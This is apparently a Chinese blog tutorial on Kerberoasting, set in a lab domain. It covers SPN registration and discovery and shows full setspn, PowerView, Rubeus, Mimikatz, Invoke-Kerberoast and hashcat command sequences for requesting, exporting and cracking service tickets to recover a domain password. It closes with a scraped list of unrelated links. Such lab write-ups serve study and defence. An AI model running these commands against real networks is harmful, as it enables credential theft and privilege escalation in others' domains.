目录

前言

一、SPN

SPN分类

将服务注册到SPN

二、SPN 服务主体名称发现

使用setspn查询

使用GetUserSPNs.ps1

使用PowerView.ps1

三、如何对SPN进行Kerberoasting攻击

使用Rubeus工具

使用 Mimikatz 工具

使用Invoke-Kerberoast.ps1

四、服务票据重写&RAM注入


前言

简单直白的说Kerberoast攻击,就是攻击者为了获取目标服务的访问权限,而设法破解Kerberos服务票据并重写它们的过程。这是红队当中非常常见的一种攻击手法,因为它不需要与服务目标服务进行任何交互,并且可以使用合法的活动目录访问来请求和导出可以离线破解的服务票据,以获取到最终的明文密码。之所以出现这种情况,是因为服务票据使用服务帐户的散列(NTLM)进行加密,所以任何域用户都可以从服务转储散列,而无需将shell引入运行该服务的系统中。

具体来说,Kerberoast攻击涉及以下五个步骤:

服务主体名称(SPN)发现

请求服务票据

导出服务票据

破解服务票据

重写服务票据&RAM注入

一、SPN

SPN(ServicePrincipal Names)服务主体名称,是服务实例(比如:HTTP、SMB、MySQL等服务)的唯一标识符。Kerberos认证过程使用SPN将服务实例与服务登录账户相关联,如果想使用 Kerberos 协议来认证服务,那么必须正确配置SPN。

SPN分类

SPN分为两种类型:

1. 一种是注册在活动目录的机器帐户(Computers)下,当一个服务的权限为 Local System 或 Network Service,则SPN注册在机器帐户(Computers)下。
2. 一种是注册在活动目录的域用户帐户(Users)下,当一个服务的权限为一个域用户,则SPN注册在域用户帐户(Users)下。

ps:一般想要利用的话都是找以域用户身份注册的,因为Local System和Network Service没有利用价值,就算跑出来了,在自己的理解方面,也没有可以利用的方向。

将服务注册到SPN

环境:

  • 域:test.lab
  • 域控:192.168.10.2
  • 域成员:yuwin2012(win2012机器)、yuwin7(win7机器)

默认本地账号和普通域账号不能注册SPN,所以我们先将yuwin2012添加到域管理员中

1. 注册在活动目录的机器帐户(Computers)下

setspn -S 服务名/主机名.域名:端口 主机名
setspn -S MySQLa2/win2012.test.lab:3306 win2012

2. 注册在活动目录的域用户帐户(Users)下

win2012机器将mysql服务注册到SPN

setspn -S 服务名/主机名.域名:端口 域名前缀\域用户名
setspn -S MySQLa/win2012.test.lab:3306 test\yuwin2012#删除指定SPN
将-A改为 -D

二、SPN 服务主体名称发现

我们在win7机器上登录域账号进行SPN发现

使用setspn查询

windows系统自带的setspn可以查询域内的SPN。

查看当前域内所有的SPN
setspn  -Q  */*查看指定域注册的SPN,如果指定域不存在,则默认切换到查找本域的SPN
setspn -T test.lab -Q */*查找本域内重复的SPN
setspn -X删除指定SPN
setspn -D MySQL/win7.xie.com:1433/MSSQL hack查找指定用户/主机名注册的SPN:
setspn -L username/hostname

上面注册了两个服务,一个是注册在机器账户下,一个是注册在域用户账户(CN=Users)下,我们利用也是利用域用户账户下注册的

使用GetUserSPNs.ps1

地址:https://github.com/nidem/kerberoast/blob/master/GetUserSPNs.ps1

GetUserSPNs 是 Kerberoast 工具集中的一个 PowerShell 脚本,可以用来查询域内用户注册的 SPN。

使用PowerView.ps1

PowerView 是 PowerSploit 框架中 Recon 目录下的一个 PowerShell 脚本PowerView 相对于上面几种是根据不同用户的 objectsid 来返回,返回的信息更加详细

Import-Module .\PowerView.ps1
Get-NetUser -SPN

三、如何对SPN进行Kerberoasting攻击

Kerberoasting 是域渗透中经常使用的一项技术,是通过 爆破TGS-REP 实现,在TGS_REP的过程中用户将会收到由目标服务实例的NTLM hash加密生成的TGS(service ticket),加密算法为RC4-HMAC,如果获得这个TGS,我们可以尝试穷举口令,模拟加密过程,进行破解

由于域内的任何用户都可以向域内的任何服务请求TGS,知道相关服务的SPN后,可以用SPN申请一张票据 ST(TGS Ticket),如果Kerberos 协议设置票据为 RC4加密,则可通过爆破的方式得到服务对应用户的密码。

使用Rubeus工具

Rubeus 工具里面的 kerberoast 支持对所有用户或者特定用户执行 kerberoasting 操作,其原理在于先用 LDAP 查询于内的 SPN 服务主体名称,然后发送 TGS 包,最后直接打印出能使用 Hashcat 或 John 爆破的 Hash。默认情况下会打印出注册于用户下的所有 SPN 的服务票据的 Hashcat 格式

1. 请求并导出服务票据

Rubeus.exe kerberoast /format:hashcat /outfile:hash3.txt

2. hashcat爆破票据

hashcat.exe -m  13100  hash3.txt  pass.txt --force

如下,成功爆破出密码,该密码为 yuwin2012域账户的密码

使用 Mimikatz 工具

1. 请求并导出服务票据

#请求服务票据
kerberos::ask /target:MySQLa/win2012.test.lab:3306
#列出并导出服务票据
kerberos::list  /export
#清除所有票据
kerberos::purge

执行完后,会在mimikatz同目录下导出 后缀为kirbi的票据文件

2. 票据解密

(1)使用 tgsrepcrack.py

地址:kerberoast/tgsrepcrack.py at master · nidem/kerberoast · GitHub

tgsrepcrack.py 字典.txt xx.kirbi

kali中执行

  • apt-get install libkrb5-dev
  • pip install kerberos

但是我这里还是报错

(2)使用extractServiceTicketParts.py

pip2 install pyasn1
#1. 提取加密的服务票据部分
python2 extractServiceTicketParts.py 1-40a10000-Administrator@MySQLa~win2012.test.lab~3306-TEST.LAB.kirbi > hash.txt#2. 破解票据
#新建文件夹,将要执行的文件放到里面去
mkdir a
go mod init a
#开启功能模块
go env -w GO111MODULE=on
#配置国内镜像源
go env -w GOPROXY=https://goproxy.cn,direct
#下载依赖
go get golang.org/x/crypto/md4
#执行go
go run tgscrack.go -hashfile hash.txt -wordlist pass.txt

获取了密码为yuwin2012

使用Invoke-Kerberoast.ps1

地址:

https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1

Invoke-Kerberoast.ps1导出转换成 John the Ripper 或者 HashCat 能够直接爆破的字符串,

powershell -exec bypass
Import-Module .\Invoke-Kerberoast.ps1
Invoke-Kerberoast -OutputFormat Hashcat | Select hash | ConvertTo-CSV -NoTypeInformation > hash3.txt

然后将蓝色部分提取出来

hashcat.exe -m  13100  hash3.txt  pass.txt --force

如下,成功爆破出密码,该密码为 yuwin2012域账户的密码

通过以上的方式获取了密码,那我们就可以拿着这个密码去做各种尝试

四、服务票据重写&RAM注入

ST票据使用服务密码的NTLM哈希签名。如果票据散列已被破解,那么可以使用Kerberoast python脚本重写票据。这将允许在服务被访问时模拟任何域用户或伪造账户。此外,提权也是可能的,因为用户可以被添加到诸如域管理员的高权限组中

未完~

参考:

技术讨论 | 一次详细的Kerberoast攻击演示 - FreeBuf网络安全行业门户

内网渗透 | SPN 与 Kerberoast 攻击讲解 - 云+社区 - 腾讯云

域渗透:SPN和Kerberoast攻击 - zpchcbd - 博客园

SPN与Kerberoast 攻击讲解相关推荐

  1. 域渗透-SPN与kerberoast攻击

    一:SPN服务主体名称 SPN(ServicePrincipal Names)服务主体名称,是服务实例(比如:HTTP.MSSQL.MySQL等服务)的唯一标识符. 1.1:SPN介绍 Kerbero ...

  2. 高级域渗透技术之再谈Kerberoast攻击

    Rebeus是一个用C#编写Kerberos 滥用工具包,最初是由@gentilkiwi 编写的 Kekeo 工具包中的一个端口,这个工具包从那时起就在不断发展.要了解更多关于 Rubeus 的信息, ...

  3. SQL注入攻击讲解及PHP防止SQL注入攻击的几种方法

    毕业开始从事winform到今年转到 web ,在码农届已经足足混了快接近3年了,但是对安全方面的知识依旧薄弱,事实上是没机会接触相关开发--必须的各种借口.这几天把sql注入的相关知识整理了下,希望 ...

  4. 《内网安全攻防:渗透测试实战指南》读书笔记(五):域内横向移动分析及防御

    目录 前言 一.常用Windows远程连接和命令 1.IPC (1)利用条件 (2)连接失败的原因 2.Windows自带工具 (1)dir (2)tasklist 3.计划任务 (1)at (2)s ...

  5. 域渗透 | kerberos认证及过程中产生的攻击

    前言 Windows认证一般包括本地认证(NTLM HASH)和域认证(kerberos). 认证的原理网上有很多文章.如果喜欢听视频课程的话,这里推荐倾旋师傅的分享课 https://www.bil ...

  6. Windows认证机制详解(借物表在文章末尾)

    一.本地认证 基础知识 Windows系统在本地认证过程中,操作系统会要求用户输入密码作为凭证去做身份验证. 在验证过程中,系统并不保存明文密码,而是将用户输入的密码转变为NTLM hash(也叫NT ...

  7. Windows 内网渗透之攻击域控

    文章目录 内网渗透之攻击域控 前言 高权限读取本地密码 procdump+mimikatz绕过杀软 SYSVOL组策略获取密码 Kerberoasting 暴力破解密码 原理 使用setspn查询sp ...

  8. 内网安全之:域环境中的 SPN

    郑重声明: 本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关.倡导维护网络安全人人有责,共同维护网络文明和谐. 域环 ...

  9. 掀开CC攻击的头盖骨

    智安网络分享:掀开CC攻击的头盖骨 一.什么是CC攻击? CC攻击是DDoS(分布式拒绝服务)的一种,相比其它的DDoS攻击CC似乎更有技术含量一些.这种攻击你见不到虚假IP,见不到特别大的异常流量, ...

最新文章

  1. Python:Resquest/Response
  2. 4月份阿里云ECS和VPC升级公告
  3. LeetCode算法题-Nth Digit(Java实现)
  4. [转载]TFS与Project、Excel同步
  5. WebPart的三种部署方法
  6. 实训计算机硬盘分区的心得体会,计算机实训的心得体会3篇
  7. qr码是二维码码_如何使用QR码进行有效的营销和推广
  8. lightoj1259 线性筛的另一种写法 v变成bool标记数组
  9. android四大组件的作用简书,Android四大组件是什么
  10. oracle延迟约束不起作用,Oracle可延迟约束Deferable的使用
  11. Vue CLI 3.0 正式发布,Vue.js 开发标准化工具
  12. MSSQL2005:“超时时间已到。在操作完成之前超时时间已过或服务器未响应”
  13. C# Winform重启软件
  14. 【干货分享】迄今为止最好用的编程字体-支持中文正确显示:同时彻底解决eclipse中文注释缩进排版混乱问题
  15. Ps修改更换证件照背景色(底色颜色)
  16. 计算机维修高级技能,高级计算机维修工操作技能考核试卷
  17. 宿命论與自由意志 ---霍金
  18. easyui php分页,jQuery EasyUI 教程-Pagination(分页)
  19. 计算机科学的顶级会议期刊,一些计算机领域的顶级会议和期刊
  20. 学生成绩管理系统-C语言(附源码)

热门文章

  1. CrossCore Embedded Studio——看一下新建的工程都有些什么(二)
  2. c语言编程中负1什么意思,c语言中1e是什么意思?
  3. [Matlab] 使用 solve 和 null 代替 eig 求解特征方程可能得到不一样的结果
  4. QS(Quacquarelli Symonds)公布的2011世界大学排名
  5. CRC4校验C语言源码实现
  6. 用鼠标滚轮滚动控制图片的缩小放大
  7. 《新概念英语》的学习方法
  8. INS/伪距组合导航(2)
  9. H1ve-AWD平台搭建
  10. 浪潮NF5270M3 刷uefi_创18项世界纪录,浪潮打造AI应用最强服务器